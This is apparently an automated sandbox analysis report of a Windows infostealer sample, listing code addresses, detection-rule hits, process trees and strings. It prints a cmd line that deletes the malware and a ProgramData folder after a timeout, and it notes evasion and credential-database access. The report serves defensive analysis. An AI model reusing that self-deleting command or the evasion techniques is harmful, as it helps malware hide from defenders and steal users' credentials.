Source: 1.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D02B6B0	0_2_6D02B6B0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D022D70	0_2_6D022D70
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D07AC29	0_2_6D07AC29
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D054EE0	0_2_6D054EE0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D044970	0_2_6D044970
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D008B30	0_2_6D008B30
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D070B89	0_2_6D070B89
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D044AC0	0_2_6D044AC0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D07A54D	0_2_6D07A54D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D044550	0_2_6D044550
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D00C7B0	0_2_6D00C7B0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D00A7E0	0_2_6D00A7E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D006650	0_2_6D006650
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D01A0C0	0_2_6D01A0C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D062310	0_2_6D062310
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D0563B0	0_2_6D0563B0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D075DD2	0_2_6D075DD2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D055DD0	0_2_6D055DD0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D043C90	0_2_6D043C90
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D061CA0	0_2_6D061CA0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D07BFF1	0_2_6D07BFF1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D079FFC	0_2_6D079FFC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D043E50	0_2_6D043E50
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D055EB9	0_2_6D055EB9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D07B964	0_2_6D07B964
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D055830	0_2_6D055830
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D0558D5	0_2_6D0558D5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D0558D7	0_2_6D0558D7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D079AAB	0_2_6D079AAB
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D043460	0_2_6D043460
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D055050	0_2_6D055050
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D043260	0_2_6D043260
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D055274	0_2_6D055274
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_02EBB8A8	0_2_02EBB8A8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_02EB8958	0_2_02EB8958
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_02EB10D0	0_2_02EB10D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_02EB1090	0_2_02EB1090
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_02EB14F8	0_2_02EB14F8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_02EBF498	0_2_02EBF498
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_054311E0	0_2_054311E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_05CC26F8	0_2_05CC26F8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_05CC0EB3	0_2_05CC0EB3
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_05CC0930	0_2_05CC0930
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_05CC26F2	0_2_05CC26F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041C07A	1_2_0041C07A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041E190	1_2_0041E190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041BB29	1_2_0041BB29
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041CCA7	1_2_0041CCA7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC2ECD0	1_2_6CC2ECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBCECC0	1_2_6CBCECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC96C00	1_2_6CC96C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBDAC60	1_2_6CBDAC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CCAAC30	1_2_6CCAAC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBD4DB0	1_2_6CBD4DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CD5CDC0	1_2_6CD5CDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC66D90	1_2_6CC66D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CCFAD50	1_2_6CCFAD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC9ED70	1_2_6CC9ED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CD58D20	1_2_6CD58D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC70EC0	1_2_6CC70EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC56E90	1_2_6CC56E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBDAEC0	1_2_6CBDAEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC6EE70	1_2_6CC6EE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CCB0E20	1_2_6CCB0E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBDEFB0	1_2_6CBDEFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CCAEFF0	1_2_6CCAEFF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBD0FE0	1_2_6CBD0FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CD18FB0	1_2_6CD18FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC3EF40	1_2_6CC3EF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBD6F10	1_2_6CBD6F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC92F70	1_2_6CC92F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CD10F20	1_2_6CD10F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CCD68E0	1_2_6CCD68E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CCA4840	1_2_6CCA4840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC20820	1_2_6CC20820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC5A820	1_2_6CC5A820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CCEC9E0	1_2_6CCEC9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC049F0	1_2_6CC049F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC609A0	1_2_6CC609A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC8A9A0	1_2_6CC8A9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC909B0	1_2_6CC909B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC08960	1_2_6CC08960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC26900	1_2_6CC26900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC4EA80	1_2_6CC4EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC4CA70	1_2_6CC4CA70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC7EA00	1_2_6CC7EA00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC88A30	1_2_6CC88A30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CCD6BE0	1_2_6CCD6BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC70BA0	1_2_6CC70BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC164D0	1_2_6CC164D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC6A4D0	1_2_6CC6A4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CCFA480	1_2_6CCFA480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBE8460	1_2_6CBE8460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC34420	1_2_6CC34420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC5A430	1_2_6CC5A430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBC45B0	1_2_6CBC45B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC9A5E0	1_2_6CC9A5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC5E5F0	1_2_6CC5E5F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CD18550	1_2_6CD18550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC28540	1_2_6CC28540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CCD4540	1_2_6CCD4540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC32560	1_2_6CC32560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC70570	1_2_6CC70570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC2E6E0	1_2_6CC2E6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC6E6E0	1_2_6CC6E6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBF46D0	1_2_6CBF46D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC2C650	1_2_6CC2C650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBFA7D0	1_2_6CBFA7D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC50700	1_2_6CC50700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBE00B0	1_2_6CBE00B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBC8090	1_2_6CBC8090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CCAC0B0	1_2_6CCAC0B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC1E070	1_2_6CC1E070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC9C000	1_2_6CC9C000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC98010	1_2_6CC98010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBD01E0	1_2_6CBD01E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC38140	1_2_6CC38140

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: String function: 6D069B35 appears 141 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: String function: 6D06D520 appears 31 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: String function: 6D0690D8 appears 51 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6CBF9B10 appears 41 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6CD5DAE0 appears 46 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6CD5D930 appears 37 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6CBF3620 appears 51 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 004024D7 appears 312 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 004180A8 appears 104 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6CD509D0 appears 196 times

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6580 -s 1096

Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe

Static PE information: invalid certificate

Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 0.2.SecuriteInfo.com.Win32.Malware-gen.198.6512.exe.3f3d5c0.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 0.2.SecuriteInfo.com.Win32.Malware-gen.198.6512.exe.3f3d5c0.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 0.2.SecuriteInfo.com.Win32.Malware-gen.198.6512.exe.3f6f5f0.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 0.2.SecuriteInfo.com.Win32.Malware-gen.198.6512.exe.3f6f5f0.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 1.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 1.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks

Source: 0.0.SecuriteInfo.com.Win32.Malware-gen.198.6512.exe.990d4c.3.raw.unpack, InflaterInputBuffer.cs	Cryptographic APIs: 'TransformBlock'
Source: 0.0.SecuriteInfo.com.Win32.Malware-gen.198.6512.exe.990d4c.3.raw.unpack, DeflaterOutputStream.cs	Cryptographic APIs: 'TransformBlock'
Source: 0.0.SecuriteInfo.com.Win32.Malware-gen.198.6512.exe.990d4c.3.raw.unpack, ZipAESTransform.cs	Cryptographic APIs: 'TransformBlock'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@9/32@1/2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_004111BE _EH_prolog,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

1_2_004111BE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_004106C4 _EH_prolog,CoCreateInstance,SysAllocString,_wtoi64,SysFreeString,SysFreeString,

1_2_004106C4

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe.log

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6580
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2080:120:WilError_03
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Mutant created: NULL
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Protect544cd51a.dll

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe

File created: C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll

Jump to behavior

Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File read: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1002\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: nss3.dll.1.dr, sqls[1].dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: nss3.dll.1.dr, sqls[1].dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: nss3.dll.1.dr, sqls[1].dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: nss3.dll.1.dr, sqls[1].dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: sqls[1].dll.1.dr	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: sqls[1].dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: nss3.dll.1.dr, sqls[1].dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: nss3.dll.1.dr, sqls[1].dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: sqls[1].dll.1.dr	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: HDAAAA.1.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: sqls[1].dll.1.dr	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: sqls[1].dll.1.dr	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	ReversingLabs: Detection: 34%
Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Virustotal: Detection: 38%

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6580 -s 1096
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe" & rd /s /q "C:\ProgramData\AFCBAEBAEBFH" & exit
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe" & rd /s /q "C:\ProgramData\AFCBAEBAEBFH" & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
